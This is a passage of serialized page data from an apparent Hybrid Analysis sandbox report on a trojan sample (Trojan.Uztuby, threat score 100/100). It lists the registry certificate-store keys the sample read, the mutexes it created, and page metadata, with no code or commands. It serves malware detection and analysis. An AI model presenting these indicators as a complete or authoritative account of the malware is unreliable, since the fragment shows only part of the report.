HOST\\SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\CA\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKCUHKCU\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"},{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\CLR_PerfMon_WrapMutex","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\DCR_MUTEX-0MyuD1hzOQrPAQPDCReZ","sources":[{"report_type":"sandbox","report_id":"6a77198e97aad2ee8f029f40"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\SM0:764:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"SM0:764:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\SM0:764:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"SM0:764:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\SM0:3048:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"SM0:3048:64:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"SM0:3048:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\SM0:3048:168:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5820:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5820:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5820:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\DCR_MUTEX-0MyuD1hzOQrPAQPDCReZ","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\BaseNamedObjects\\SyncRootManager","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5820:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\SM0:5820:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Global\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"SM0:5820:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"Local\\SM0:5820:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"DCR_MUTEX-0MyuD1hzOQrPAQPDCReZ","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]},{"name":"SM0:5820:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6604de675187c4132f0263db"}]}]}},"report_ids":{"sandbox_job_ids":["6a77198e97aad2ee8f029f40","6604de675187c4132f0263db"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Trojan.Generic.81053169;Trojan.Uztuby Sample 0266dc2bf6eb… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 0266dc2bf6eb…. Malware family: Trojan.Generic.81053169;Trojan.Uztuby. Threat score 100/100. 13/27 AV engines flagged this file. 15 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199"}],["$","meta","4",{"property":"og:title","content":"Malicious Trojan.Generic.81053169;Trojan.Uztuby Sample 0266dc2bf6eb… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 0266dc2bf6eb…. Malware family: Trojan.Generic.81053169;Trojan.Uztuby. Threat score 100/100. 13/27 AV engines flagged this file. 15 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/0266dc2bf6eb73b5ef4770bedecadbffb0c35cd3b17c9a97e39712d92f17d199"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Trojan.Generic.81053169;Trojan.Uztuby Sample 0266dc2bf6eb… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 0266dc2bf6eb…. Malware family: Trojan.Generic.81053169;Trojan.Uztuby. Threat score 100/100. 13/27 AV engines flagged this file. 15 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L6b","11",{}]]